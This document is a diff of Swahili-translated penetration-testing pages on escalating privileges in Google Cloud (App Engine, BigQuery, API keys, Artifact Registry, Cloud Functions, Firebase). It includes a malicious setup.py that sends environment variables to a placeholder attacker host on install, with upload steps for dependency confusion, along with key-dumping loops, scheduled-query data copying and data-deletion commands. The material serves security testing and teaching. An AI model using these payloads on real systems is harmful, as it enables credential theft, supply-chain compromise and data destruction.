> Inawezekana **kuonyesha Service Account itakayotumika** lakini kwa chaguo-msingi, App Engine default SA inatumika.
URL ya programu ni kama `https://<proj-name>.oa.r.appspot.com/` au `https://<service_name>-dot-<proj-name>.oa.r.appspot.com`
### Sasisha ruhusa sawa
Unaweza kuwa na ruhusa za kutosha kusasisha AppEngine lakini sio kuunda mpya. Katika kesi hiyo, hivi ndivyo unavyoweza kusasisha App Engine iliyopo:
```bash
# Find the code of the App Engine in the buckets
gsutil ls
# Download code
mkdir /tmp/appengine2
cd /tmp/appengine2
## In this case it was found in this custom bucket but you could also use the
## buckets generated when the App Engine is created
gsutil cp gs://appengine-lab-1-gcp-labs-4t04m0i6-3a97003354979ef6/labs_appengine_1_premissions_privesc.zip .
unzip labs_appengine_1_premissions_privesc.zip
## Now modify the code..
## If you don't have an app.yaml, create one like:
cat >> app.yaml <<EOF
runtime: python312
entrypoint: gunicorn -b :\$PORT main:app
env_variables:
A_VARIABLE: "value"
EOF
# Deploy the changes
gcloud app deploy
# Update the SA if you need it (and if you have actas permissions)
gcloud app update --service-account=<sa>@$PROJECT_ID.iam.gserviceaccount.com
```
Ikiwa tayari compromised AppEngine na una ruhusa **`appengine.applications.update`** na **actAs** juu ya service account utakayotumia, unaweza kubadilisha service account inayotumika na AppEngine kwa:
```bash
gcloud app update --service-account=<sa>@$PROJECT_ID.iam.gserviceaccount.com
```
Kwa ruhusa hizi, inawezekana **kuingia kupitia ssh katika App Engine instances** za aina ya **flexible** (si standard). Baadhi ya ruhusa za **`list`** na **`get`** **huenda hazikutakiwa kabisa**.
```bash
gcloud app instances ssh --service <app-name> --version <version-id> <ID>
```
### `appengine.applications.update`, `appengine.operations.get`
Nadhani hii inabadilisha tu SA ya background ambayo google itatumia kusanidi applications, kwa hivyo sidhani unaweza kutumia hili vibaya kuiba service account.
```bash
gcloud app update --service-account=<sa_email>
```
### `appengine.versions.getFileContents`, `appengine.versions.update`
Sina uhakika jinsi ya kutumia ruhusa hizi au ikiwa ni muhimu (kumbuka kwamba unapo badilisha code, toleo jipya linaundwa hivyo sijui kama unaweza tu kusasisha code au IAM role ya moja, lakini nadhani unapaswa kuwa na uwezo, labda kwa kubadilisha code ndani ya bucket??).
### `bigquery.tables.delete`, `bigquery.datasets.delete` & `bigquery.models.delete` (`bigquery.models.getMetadata`)
Ili kuondoa tables, dataset au models:
```bash
# Table removal
bq rm -f -t <PROJECT_ID>.<DATASET>.<TABLE_NAME>
# Dataset removal
bq rm -r -f <PROJECT_ID>:<DATASET>
# Model removal
bq rm -m <PROJECT_ID>:<DATASET_NAME>.<MODEL_NAME>
```
### Matumizi mabaya ya Scheduled Queries
Kwa ruhusa za `bigquery.datasets.get`, `bigquery.jobs.create`, na `iam.serviceAccounts.actAs`, utambulisho unaweza kuuliza metadata ya dataset, kuanzisha jobs za BigQuery, na kuzitekeleza kwa kutumia Service Account yenye vibali vya juu.
Shambulio hili linawezesha matumizi mabaya ya Scheduled Queries kuendesha queries kiotomatiki (zikifanyika chini ya Service Account iliyochaguliwa), ambayo, kwa mfano, inaweza kusababisha data nyeti kusomwa na kuandikwa kwenye table au dataset nyingine ambayo mshambuliaji ana uwezo wa kufikia—inayorahisisha exfiltration isiyo ya moja kwa moja na endelevu bila kuhitaji kutoa data nje.
Mara mshambuliaji anapojua Service Account gani ina ruhusa zinazohitajika kutekeleza query inayotaka, anaweza kuunda usanidi wa Scheduled Query unaotekelezwa kwa kutumia Service Account hiyo na mara kwa mara kuandika matokeo kwenye dataset anayoichagua.
```bash
bq mk \
--transfer_config \
--project_id=<PROJECT_ID> \
--location=US \
--data_source=scheduled_query \
--target_dataset=<DEST_DATASET> \
--display_name="Generic Scheduled Query" \
--service_account_name="<SERVICE_ACCOUNT>@<PROJECT_ID>.iam.gserviceaccount.com" \
--schedule="every 10 minutes" \
--params='{
"query": "SELECT * FROM `<PROJECT_ID>.<SOURCE_DATASET>.<source_table>`;",
"destination_table_name_template": "<destination_table>",
"write_disposition": "WRITE_TRUNCATE"
}'
```
### Ufikiaji wa Kuandika kwenye buckets
Kama ilivyoelezwa appengine versions zinatengeneza baadhi ya data ndani ya bucket yenye jina la muundo: `staging.<project-id>.appspot.com`. Kumbuka kwamba haiwezekani pre-takeover ya bucket hii kwa sababu watumiaji wa GCP hawaruhusiwi kuunda buckets kwa kutumia domain `appspot.com`.
Hata hivyo, kwa ufikiaji wa kusoma & kuandika kwenye bucket hii, inawezekana kuinua mamlaka kwa SA inayounganishwa na AppEngine version kwa kusimamia bucket na kila wakati mabadiliko yapofanyika, kubadilisha code haraka iwezekanavyo. Kwa njia hii, container inayoundwa kutoka kwa code hii ita **execute the backdoored code**.
Kwa maelezo zaidi na **PoC angalia taarifa zinazofaa kutoka kurasa hii**:
{{#ref}}
gcp-serviceusage-privesc.md
gcp-storage-privesc.md
{{#endref}}
### Brute Force API Key access <a href="#apikeys.keys.create" id="apikeys.keys.create"></a>
### Ufikiaji wa Kuandika kwenye Artifact Registry
Kwa kuwa huenda hujui APIs gani zimeshawashwa kwenye project au vikwazo vilivyowekwa kwa API key uliyokipata, kungekuwa vizuri kuendesha zana [**https://github.com/ozguralp/gmapsapiscanner**](https://github.com/ozguralp/gmapsapiscanner) na kuangalia **ni nini unaweza kufikia kwa API key.**
### `apikeys.keys.create` <a href="#apikeys.keys.create" id="apikeys.keys.create"></a>
Ruhusa hii inaruhusu **kuunda API key**:
<details>
<summary>Unda API key kwa kutumia gcloud</summary>
```bash
gcloud services api-keys create
Operation [operations/akmf.p7-[...]9] complete. Result: {
"@type":"type.googleapis.com/google.api.apikeys.v2.Key",
"createTime":"2022-01-26T12:23:06.281029Z",
"etag":"W/\"HOhA[...]=\"",
"keyString":"AIzaSy[...]oU",
"name":"projects/5[...]6/locations/global/keys/f707[...]e8",
"uid":"f707[...]e8",
"updateTime":"2022-01-26T12:23:06.378442Z"
}
```
</details>
Unaweza kupata script ya ku-automate [**creation, exploit and cleaning of a vuln environment here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/b-apikeys.keys.create.sh).
> [!CAUTION]
> Kumbuka kwamba kwa chaguo-msingi watumiaji wana ruhusa za kuunda miradi mipya na wanapewa Owner role kwa mradi mpya. Kwa hivyo mtumiaji anaweza **kuunda mradi na API key ndani ya mradi huu**.
### `apikeys.keys.getKeyString` , `apikeys.keys.list` <a href="#apikeys.keys.getkeystringapikeys.keys.list" id="apikeys.keys.getkeystringapikeys.keys.list"></a>
Ruhusa hizi zinaruhusu **kuorodhesha na kupata apiKeys zote na kupata Key**:
<details>
<summary>Orodhesha na kupata API keys zote</summary>
```bash
for key in $(gcloud services api-keys list --uri); do
gcloud services api-keys get-key-string "$key"
done
```
</details>
Unaweza kupata script ya kuendesha otomatiki [**creation, exploit and cleaning of a vuln environment here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/c-apikeys.keys.getKeyString.sh).
### `apikeys.keys.undelete` , `apikeys.keys.list` <a href="#serviceusage.apikeys.regenerateapikeys.keys.list" id="serviceusage.apikeys.regenerateapikeys.keys.list"></a>
Ruhusa hizi zinakuwezesha **list and regenerate deleted api keys**. **API key** hutolewa katika matokeo baada ya kufanyika **undelete**:
<details>
<summary>List and undelete API keys</summary>
```bash
gcloud services api-keys list --show-deleted
gcloud services api-keys undelete <key-uid>
```
</details>
### Unda Internal OAuth Application ili phish wafanyakazi wengine
Angalia ukurasa ufuatao ili kujifunza jinsi ya kufanya hili, ingawa kitendo hiki kinahusiana na huduma **`clientauthconfig`** [according to the docs](https://cloud.google.com/iap/docs/programmatic-oauth-clients#before-you-begin):
{{#ref}}
../../workspace-security/gws-google-platforms-phishing/
{{#endref}}
Ingawa App Engine huunda docker images ndani ya Artifact Registry. Ilijaribiwa kuwa **hata ukibadilisha image ndani ya huduma hii** na ukiondoa instance ya App Engine (hivyo mpya ikitekelezwa) **code inayotekelezwa haibadiliki**.\
Inawezekana kwamba kwa kufanya **Race Condition attack, kama ilivyo kwa buckets, inaweza kuwa inawezekana kuandika tena (overwrite) code inayotekelezwa**, lakini hili halikujaribiwa.
{{#include ../../../banners/hacktricks-training.md}}
src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-artifact-registry-privesc.md
+86 -32
View File
@@ -4,7 +4,7 @@
## Artifact Registry
Kwa maelezo zaidi kuhusu Artifact Registry angalia:
Kwa taarifa zaidi kuhusu Artifact Registry, angalia:
{{#ref}}
../gcp-services/gcp-artifact-registry-enum.md
@@ -12,7 +12,7 @@ Kwa maelezo zaidi kuhusu Artifact Registry angalia:
### artifactregistry.repositories.uploadArtifacts
Kwa ruhusa hii mshambuliaji anaweza kupakia matoleo mapya ya artifacts yenye msimbo hatarishi kama Docker images:
Kwa ruhusa hii mdukuzi anaweza kupakia matoleo mapya ya artifacts yenye malicious code kama Docker images:
<details>
<summary>Pakia Docker image kwenye Artifact Registry</summary>
@@ -29,19 +29,19 @@ docker push <location>-docker.pkg.dev/<proj-name>/<repo-name>/<img-name>:<tag>
</details>
> [!CAUTION]
> Ilithibitishwa kuwa ni **inawezekana kupakia docker image mpya hasidi** yenye jina na tag sawa na ile iliyopo, hivyo ile ya zamani **itatoweka tag** na mara ijayo picha hiyo yenye tag hiyo itakapopakuliwa, **ile hasidi ndio itapakuliwa**.
> Ilithibitishwa kwamba ni **inawezekana kupakia docker mpya ya hatari** yenye jina na tag sawa na ile iliyokuwepo, hivyo **ile ya zamani itapoteza tag** na mara ijayo picha yenye tag hiyo, **picha hatari ndiyo itakapopakuliwa**.
<details>
<summary>Pakia maktaba ya Python</summary>
**Anza kwa kuunda maktaba utakayopakilia** (ikiwa unaweza kupakua toleo la hivi karibuni kutoka registry unaweza kuiepuka hatua hii):
**Anza kwa kuunda maktaba ya kupakia** (ikiwa unaweza kupakua toleo la hivi karibuni kutoka registry unaweza kuepuka hatua hii):
1. **Tayarisha muundo wa mradi wako**:
1. **Sanidi muundo wa mradi wako**:
- Tengeneza directory mpya kwa maktaba yako, kwa mfano, `hello_world_library`.
- Ndani ya directory hii, tengeneza directory nyingine yenye jina la package yako, kwa mfano, `hello_world`.
- Ndani ya directory ya package yako, unda faili `__init__.py`. Faili hii inaweza kuwa tupu au iwe na uanzishaji wa package yako.
- Unda saraka mpya kwa maktaba yako, kwa mfano, `hello_world_library`.
- Ndani ya saraka hii, unda saraka nyingine yenye jina la kifurushi chako, kwa mfano, `hello_world`.
- Ndani ya saraka ya kifurushi chako, unda faili `__init__.py`. Faili hii inaweza kuwa tupu au inaweza kuwa na uanzishaji wa kifurushi chako.
<details>
<summary>Create project structure</summary>
@@ -57,8 +57,8 @@ touch hello_world/__init__.py
2. **Andika msimbo wa maktaba yako**:
- Ndani ya directory `hello_world`, unda faili mpya ya Python kwa module yako, kwa mfano, `greet.py`.
- Andika function yako ya "Hello, World!":
- Ndani ya saraka `hello_world`, unda faili mpya ya Python kwa moduli yako, kwa mfano, `greet.py`.
- Andika kazi yako ya "Hello, World!":
<details>
<summary>Create library module</summary>
@@ -71,10 +71,10 @@ return "Hello, World!"
</details>
3. **Tengeneza faili `setup.py`**:
3. **Unda faili `setup.py`**:
- Katika root ya directory yako `hello_world_library`, unda faili `setup.py`.
- Faili hili lina metadata kuhusu maktaba yako na linamwambia Python jinsi ya kuiweka.
- Katika mizizi ya saraka yako ya `hello_world_library`, unda faili `setup.py`.
- Faili hii ina metadata kuhusu maktaba yako na inamwambia Python jinsi ya kuiweka.
<details>
<summary>Create setup.py file</summary>
@@ -95,11 +95,11 @@ install_requires=[
</details>
**Sasa, wacha tupakie maktaba:**
**Sasa, pakia maktaba:**
1. **Jenga package yako**:
1. **Jenga kifurushi chako**:
- Kutoka root ya directory yako `hello_world_library`, endesha:
- Kutoka mizizi ya saraka yako ya `hello_world_library`, endesha:
<details>
<summary>Build Python package</summary>
@@ -110,21 +110,21 @@ python3 setup.py sdist bdist_wheel
</details>
2. **Sanidi uthibitisho kwa twine** (inayotumika kupakia package yako):
2. **Sanidi uthibitishaji kwa `twine`** (inayotumika kupakia kifurushi chako):
- Hakikisha umeweka `twine` (`pip install twine`).
- Tumia `gcloud` kusanidi credentials:
<details>
<summary>Pakia package kwa twine</summary>
<summary>Pakia kifurushi kwa twine</summary>
```sh
twine upload --username 'oauth2accesstoken' --password "$(gcloud auth print-access-token)" --repository-url https://<location>-python.pkg.dev/<project-id>/<repo-name>/ dist/*
```
</details>
3. **Safisha build**
3. **Safisha ujenzi**
<details>
<summary>Safisha mabaki ya build</summary>
<summary>Safisha artifacts za ujenzi</summary>
```bash
rm -rf dist build hello_world.egg-info
```
@@ -133,7 +133,7 @@ rm -rf dist build hello_world.egg-info
</details>
> [!CAUTION]
> Haiwezekani kupakia maktaba ya python kwa toleo moja kama ile iliyopo, lakini inawezekana kupakia **matoleo makubwa zaidi** (au kuongeza **`.0` mwishoni** mwa toleo ikiwa inafanya kazi -si katika python ingawa-), au **kufuta toleo la mwisho na kupakia jipya** (inahitaji `artifactregistry.versions.delete`):
> Haiwezekani kupakia library ya python yenye toleo lile kama ilivyo tayari, lakini inawezekana kupakia **matoleo makubwa zaidi** (au kuongeza **`.0` mwishoni** wa toleo ikiwa hiyo itafanya kazi - si kwa python ingawa-), au **kufuta toleo la mwisho na kupakia jipya** (inahitaji `artifactregistry.versions.delete`):**
>
> <details>
> <summary>Delete artifact version</summary>
@@ -146,9 +146,9 @@ rm -rf dist build hello_world.egg-info
### `artifactregistry.repositories.downloadArtifacts`
Kwa ruhusa hii unaweza **kupakua artifacts** na kutafuta **taarifa nyeti** na **udhaifu**.
Kwa ruhusa hii unaweza **kupakua artifacts** na kutafuta **taarifa nyeti** na **vulnerabilities**.
Download a **Docker** image:
Pakua Docker image:
<details>
<summary>Pakua Docker image kutoka Artifact Registry</summary>
@@ -170,7 +170,7 @@ pip install <lib-name> --index-url "https://oauth2accesstoken:$(gcloud auth prin
```
</details>
- Nini kinatokea ikiwa registri ya mbali na registri ya kawaida zimechanganywa katika registri virtual na kifurushi kiko katika zote mbili? Angalia ukurasa huu:
- Nini kinatokea ikiwa remote na standard registries zimechanganywa ndani ya virtual moja na package inapatikana katika zote mbili? Angalia ukurasa huu:
{{#ref}}
../gcp-persistence/gcp-artifact-registry-persistence.md
@@ -178,10 +178,10 @@ pip install <lib-name> --index-url "https://oauth2accesstoken:$(gcloud auth prin
### `artifactregistry.tags.delete`, `artifactregistry.versions.delete`, `artifactregistry.packages.delete`, (`artifactregistry.repositories.get`, `artifactregistry.tags.get`, `artifactregistry.tags.list`)
Futa artifacts kutoka kwenye registry, kama Docker images:
Futa artifacts kutoka kwenye registry, kwa mfano docker images:
<details>
<summary>Futa Docker image kutoka Artifact Registry</summary>
<summary>Delete Docker image from Artifact Registry</summary>
```bash
# Delete a docker image
gcloud artifacts docker images delete <location>-docker.pkg.dev/<proj-name>/<repo-name>/<img-name>:<tag>
@@ -190,10 +190,10 @@ gcloud artifacts docker images delete <location>-docker.pkg.dev/<proj-name>/<rep
### `artifactregistry.repositories.delete`
Futa repository kamili (hata ikiwa ina maudhui):
Futa repositori nzima (hata ikiwa ina yaliyomo):
<details>
<summary>Futa repository ya Artifact Registry</summary>
<summary>Futa repositori ya Artifact Registry</summary>
```
gcloud artifacts repositories delete <repo-name> --location=<location>
```
@@ -203,15 +203,69 @@ gcloud artifacts repositories delete <repo-name> --location=<location>
Mshambuliaji mwenye ruhusa hii anaweza kujipa ruhusa za kutekeleza baadhi ya mashambulizi ya repository yaliyotajwa hapo awali.
### Pivoting kwa huduma nyingine kupitia Artifact Registry Read & Write
### Pivoting to other Services through Artifact Registry Read & Write
- **Cloud Functions**
Wakati Cloud Function inapoundwa image mpya ya docker inasukumwa kwenye Artifact Registry ya project. Nilijaribu kurekebisha image kwa ile mpya, na hata kufuta image ya sasa (na `cache` image) lakini hakuna kilichobadilika, Cloud Function ilibaki ikifanya kazi. Kwa hivyo, inaweza kuwa **might be possible to abuse a Race Condition attack** kama ilivyo kwa bucket kubadilisha docker container itakayotekelezwa lakini **just modifying the stored image isn't possible to compromise the Cloud Function**.
Wakati Cloud Function inapoanzishwa, docker image mpya inasukumwa kwenye Artifact Registry ya project. Nilijaribu kubadilisha image na ile mpya, hata kufuta image ya sasa (na `cache` image) na hakuna kilichobadilika — Cloud Function iliendelea kufanya kazi. Kwa hivyo, huenda iwezekane kuabusu a Race Condition attack kama ilivyotokea na bucket kubadilisha docker container itakayotekelezwa, lakini **kuhariri tu image iliyohifadhiwa haiwezi kumkomba/kuharibu Cloud Function**.
- **App Engine**
Licha App Engine kuunda docker images ndani ya Artifact Registry. Ilijaribiwa kwamba **hata ukiubahisha image ndani ya huduma hii** na ukifuta instance ya App Engine (hivyo nyingine mpya ita-deploy) **msimbo unaotekelezwa hautabadilika**.\
Inawezekana kwamba kwa kufanya **Race Condition attack** kama ilivyo kwa buckets inaweza kuwawezekana kuandika upya msimbo unaotekelezwa, lakini hili halikujaribiwa.
Ingawa App Engine huunda docker images ndani ya Artifact Registry. Imetestwa kwamba **hata ukibadilisha image ndani ya huduma hii** na ukifuta instance ya App Engine (hivyo mpya ikitegemezwa) basi **msimbo unaotekelezwa haukubadiliki**.\
Inawezekana kwamba kufanya **Race Condition attack kama ilivyo kwa buckets inaweza kuwezekana kuandika upya msimbo unaotekelezwa**, lakini hili halikujaribiwa.
### `artifactregistry.repositories.update`
Mshambuliaji hahitaji ruhusa maalum za Artifact Registry ili kutumia tatizo hili—inatosha tu kuwa na konfigurisho dhaifu la virtual-repository. Hii hutokea wakati virtual repository inaunganisha remote public repository (mfano, PyPI, npm) na internal repository, na chanzo cha remote kinapokuwa na kipaumbele sawa au kikubwa zaidi. Ikiwa zote zina package yenye jina moja, mfumo huchagua toleo la juu zaidi. Mshambuliaji anahitaji tu kujua jina la package la ndani na kuwa na uwezo wa kuchapisha packages kwenye registry ya umma inayofanana.
Kwa ruhusa ya `artifactregistry.repositories.update`, mshambuliaji anaweza kubadilisha mipangilio ya upstream ya virtual repository ili kwa makusudi kuunda mpangilio huu hatarishi na kutumia Dependency Confusion kama njia ya kudumu kwa kuingiza packages zenye madhara ambazo developers au mifumo ya CI/CD zinaweza kusakinisha kiotomatiki.
Mshambuliaji anaunda toleo hatari la package ya ndani katika public repository lenye nambari ya toleo ya juu zaidi. Kwa packages za Python, hili linamaanisha kuandaa muundo wa package unaofanana na ule halali.
```bash
mkdir /tmp/malicious_package
cd /tmp/malicious_package
PACKAGE_NAME="<package-name>"
mkdir "$PACKAGE_NAME"
touch "$PACKAGE_NAME/__init__.py"
```
Baadaye faili ya setup.py inaundwa iliyokuwa na msimbo hatarishi ambao utaendeshwa wakati wa usakinishaji. Faili hii lazima iainishe nambari ya toleo inayozidi ile katika private repository.
```bash
cat > setup.py << 'EOF'
import setuptools
from setuptools.command.install import install
import os
import urllib.request
import urllib.parse
def malicious_function():
data = dict(os.environ)
encoded_data = urllib.parse.urlencode(data).encode()
url = 'https://<ip-atacante>/exfil'
req = urllib.request.Request(url, data=encoded_data)
urllib.request.urlopen(req)
class AfterInstall(install):
def run(self):
install.run(self)
malicious_function()
setuptools.setup(
name = "<package-name>",
version = "0.1.1",
packages = ["<package-name>"],
cmdclass={'install': AfterInstall},
)
EOF
```
Jenga paketi na ufute wheel ili kuhakikisha msimbo unatekelezwa wakati wa usakinishaji.
```bash
python3 setup.py sdist bdist_wheel
rm dist/<package-name>*.whl
```
Pakia kifurushi kibaya kwenye repo ya umma (kwa mfano, test.pypi.org kwa Python).
```bash
pip install twine
twine upload --repository testpypi dist/*
```
Wakati mfumo au huduma inaposakinisha kifurushi kwa kutumia virtual repository, itapakua toleo la hatari kutoka public repository badala ya ile halali ya ndani, kwa sababu toleo la hatari lina nambari ya toleo kubwa zaidi na remote repository ina kipaumbele sawa au cha juu.
{{#include ../../../banners/hacktricks-training.md}}
src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloudfunctions-privesc.md
+33 -28
View File
@@ -12,21 +12,19 @@ Maelezo zaidi kuhusu Cloud Functions:
### `cloudfunctions.functions.create` , `cloudfunctions.functions.sourceCodeSet`_,_ `iam.serviceAccounts.actAs`
Mshambuliaji mwenye vibali hivi anaweza **kuunda Cloud Function mpya yenye msimbo wowote (mbaya) na kuiweka Service Account**. Kisha, leak token ya Service Account kutoka kwa metadata ili kuongeza viwango vya ruhusa kwa akaunti hiyo.\
Huenda ukahitaji vibali vingine ili kuanzisha function.
Mshambuliaji mwenye vibali hivi anaweza **kuunda Cloud Function mpya yenye arbitrary (malicious) code na kuiteua Service Account**. Kisha, leak Service Account token kutoka metadata ili kuongeza vibali kwake.\
Huenda ikahitajika baadhi ya vibali ili ku-trigger function.
Exploit scripts za njia hii zinapatikana [here](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/cloudfunctions.functions.create-call.py) na [here](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/cloudfunctions.functions.create-setIamPolicy.py) na faili la .zip lililotengenezwa tayari linapatikana [here](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/tree/master/ExploitScripts/CloudFunctions).
Exploit scripts for this method can be found [here](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/cloudfunctions.functions.create-call.py) and [here](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/cloudfunctions.functions.create-setIamPolicy.py) and the prebuilt .zip file can be found [here](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/tree/master/ExploitScripts/CloudFunctions).
### `cloudfunctions.functions.update` , `cloudfunctions.functions.sourceCodeSet`_,_ `iam.serviceAccounts.actAs`
Mshambuliaji mwenye vibali hivi anaweza **kubadilisha msimbo wa Function na hata kubadilisha service account iliyounganishwa** kwa lengo la kusafirisha token.
Mshambuliaji mwenye vibali hivi anaweza **kubadilisha code ya Function na hata kubadilisha service account iliyounganishwa** kwa lengo la exfiltrating token.
> [!CAUTION]
> Ili ku-deploy cloud functions utahitaji pia vibali vya actAs juu ya default compute service account au juu ya service account inayotumika kujenga image.
Vibali vingine vya ziada kama kibali cha `.call` kwa cloudfunctions toleo 1 au role `role/run.invoker` ili kuanzisha function vinaweza kuhitajika.
<details><summary>Update Cloud Function kwa msimbo mbaya ili kusafirisha token ya service account</summary>
Huenda ikahitajika vibali vingine kama ruhusa ya `.call` kwa version 1 cloudfunctions au role `role/run.invoker` ili ku-trigger function.
```bash
# Create new code
temp_dir=$(mktemp -d)
@@ -56,18 +54,14 @@ gcloud functions deploy <cloudfunction-name> \
# Get SA token calling the new function code
gcloud functions call <cloudfunction-name>
```
</details>
> [!CAUTION]
> Ikiwa unapata hitilafu `Permission 'run.services.setIamPolicy' denied on resource...` ni kwa sababu unatumia param `--allow-unauthenticated` na huna ruhusa za kutosha kwa hiyo.
> Ikiwa unapata kosa `Permission 'run.services.setIamPolicy' denied on resource...` ni kwa sababu unatumia param `--allow-unauthenticated` na huna ruhusa za kutosha kwa hilo.
The exploit script for this method can be found [here](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/cloudfunctions.functions.update.py).
Exploit script kwa njia hii inaweza kupatikana [here](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/cloudfunctions.functions.update.py).
### `cloudfunctions.functions.sourceCodeSet`
Kwa ruhusa hii unaweza kupata **signed URL ili uweze kupakia faili kwenye function bucket (lakini code ya function haitabadilika, bado utahitaji kuibadilisha)**
<details><summary>Tengeneza signed upload URL kwa Cloud Function</summary>
Kwa ruhusa hii unaweza kupata **URL iliyosainiwa ili uweze ku-upload faili kwenye function bucket (lakini msimbo wa function hautabadilika, bado unahitaji kusasisha)**
```bash
# Generate the URL
curl -X POST https://cloudfunctions.googleapis.com/v2/projects/{project-id}/locations/{location}/functions:generateUploadUrl \
@@ -75,40 +69,51 @@ curl -X POST https://cloudfunctions.googleapis.com/v2/projects/{project-id}/loca
-H "Content-Type: application/json" \
-d '{}'
```
</details>
Sijui ni jinsi gani ruhusa hii pekee inavyofaa kwa mtazamo wa mwavamizi, lakini ni vyema kujua.
Sina uhakika ruhusa hii peke yake itakuwa muhimu kwa mdukuzi, lakini ni vizuri kujua.
### `cloudfunctions.functions.setIamPolicy` , `iam.serviceAccounts.actAs`
Jipe haki yoyote ya **`.update`** au **`.create`** zilizotajwa hapo awali ili kupandisha hadhi.
Jipa yoyote ya ruhusa za awali za **`.update`** au **`.create`** ili kupandisha ruhusa.
```bash
gcloud functions add-iam-policy-binding <NOMBRE_FUNCION> \
--region=<REGION> \
--member="<MIEMBRO>" \
--role="roles/cloudfunctions.invoker"
```
### `cloudfunctions.functions.update`
Kuwa na ruhusa za **`cloudfunctions`** pekee, bila **`iam.serviceAccounts.actAs`**, hautaweza kusasisha function SO THIS IS NOT A VALID PRIVESC.
Kwa kuwa na ruhusa za **`cloudfunctions`** pekee, bila **`iam.serviceAccounts.actAs`**, **hutaweza kusasisha function SO THIS IS NOT A VALID PRIVESC.**
### Read & Write Access over the bucket
### Kuitisha functions
Kwa ruhusa za `cloudfunctions.functions.get`, `cloudfunctions.functions.invoke`, `run.jobs.run`, na run.routes.invoke, kitambulisho kinaweza kuitisha moja kwa moja Cloud Functions. Pia inahitajika kwa function kuruhusu trafiki ya umma, au kwa muombaji kuwa ndani ya mtandao uleule kama function yenyewe.
```bash
curl -X POST "https://<FUNCTION_URL>" \
-H "Authorization: bearer $(gcloud auth print-identity-token)" \
-H "Content-Type: application/json" \
-d '{ "name": "Developer" }'
```
### Ufikiaji wa Kusoma na Kuandika juu ya bucket
Ikiwa una ufikiaji wa kusoma na kuandika kwenye bucket unaweza kufuatilia mabadiliko kwenye code na kila wakati **update in the bucket happens you can update the new code with your own code** ambayo toleo jipya la Cloud Function litaendeshwa na backdoored code iliyowasilishwa.
Ikiwa una ufikiaji wa kusoma na kuandika juu ya bucket unaweza kufuatilia mabadiliko kwenye code na kila wakati panapotokea **update katika bucket unaweza kubadilisha code mpya na code yako mwenyewe** ili toleo jipya la Cloud Function liendeshwe na code iliyowasilishwa yenye backdoor.
Unaweza kuona zaidi kuhusu shambulio katika:
Unaweza kuona zaidi kuhusu shambulio hili katika:
{{#ref}}
gcp-storage-privesc.md
{{#endref}}
Hata hivyo, hutaweza kutumia hili kuwahi ku-compromise third party Cloud Functions kwa sababu ikiwa utaunda bucket kwenye akaunti yako na kuiweka public permissions ili project ya nje iweze kuandika juu yake, utapata hitilafu ifuatayo:
Hata hivyo, huwezi kutumia hii ku-pre-compromise Cloud Functions za wahusika wengine kwa sababu kama unaunda bucket kwenye account yako na kuipa ruhusa ya umma ili project ya nje iweze kuandika juu yake, utapokea hitilafu ifuatayo:
<figure><img src="../../../images/image (1) (1) (1).png" alt="" width="304"><figcaption></figcaption></figure>
> [!CAUTION]
> Hata hivyo, hii inaweza kutumika kwa mashambulizi ya DoS.
> Hata hivyo, hii inaweza kutumika kwa DoS attacks.
### Read & Write Access over Artifact Registry
### Ufikiaji wa Kusoma na Kuandika juu ya Artifact Registry
Wakati Cloud Function inapoanzishwa picha mpya ya docker inatupwa kwenye Artifact Registry ya project. Nilijaribu kurekebisha image kwa mpya, na hata kufuta image ya sasa (na image ya `cache`) na hakuna kilichobadilika, the cloud function iliendelea kufanya kazi. Kwa hivyo, huenda **might be possible to abuse a Race Condition attack** kama ilivyo na bucket kubadilisha docker container itakayotekelezwa lakini **just modifying the stored image isn't possible to compromise the Cloud Function**.
Unapounda Cloud Function picha mpya ya docker inasukumwa kwenye Artifact Registry ya project. Nilijaribu kubadilisha image kwa ile mpya, na hata kufuta image ya sasa (na `cache` image) lakini hakuna kilichobadilika, cloud function ilidumu ikifanya kazi. Kwa hivyo, huenda **inawezekana kutumia Race Condition attack** kama ilivyo kwa bucket kubadilisha docker container itakayotekelezwa, lakini **kubadilisha tu image iliyohifadhiwa siyo njia ya ku-compromise Cloud Function**.
## References
## Marejeo
- [https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/)
src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-firebase-privesc.md
+445
View File
@@ -0,0 +1,445 @@
# GCP - Firebase Privesc
{{#include ../../../banners/hacktricks-training.md}}
## Firebase
### Ufikiaji usio na uthibitisho kwa Firebase Realtime Database
Mshambuliaji hahitaji ruhusa maalum za Firebase kutekeleza shambulio hili. Inahitaji tu kuwepo kwa usanidi wenye udhaifu kwenye security rules za Firebase Realtime Database, ambapo kanuni zimewekwa kwa `.read: true` au `.write: true`, kuruhusu ufikiaji wa kusoma au kuandika kwa umma.
Mshambuliaji lazima atambue URL ya database, ambayo kawaida inafuata muundo: `https://<project-id>.firebaseio.com/`.
URL hii inaweza kupatikana kupitia reverse engineering ya mobile application (ku-decompile Android APKs au kuchambua iOS apps), kuchambua faili za usanidi kama google-services.json (Android) au GoogleService-Info.plist (iOS), kukagua chanzo cha web applications, au kuchunguza trafiki ya mtandao ili kubaini maombi kwa maeneo ya `*.firebaseio.com`.
Mshambuliaji hutatua URL ya database na kuangalia kama imefunuliwa kwa umma, kisha anapata data na anaweza kuandika taarifa zenye madhara.
Kwanza, wanaangalia kama database inaruhusu ufikiaji wa kusoma kwa kuongeza .json kwenye URL.
```bash
curl https://<project-id>-default-rtdb.firebaseio.com/.json
```
Ikiwa jibu linajumuisha JSON data au null (badala ya "Permission Denied"), database inaruhusu read access. Ili kupima write access, mshambuliaji anaweza kujaribu kutuma test write request kwa kutumia Firebase REST API.
```bash
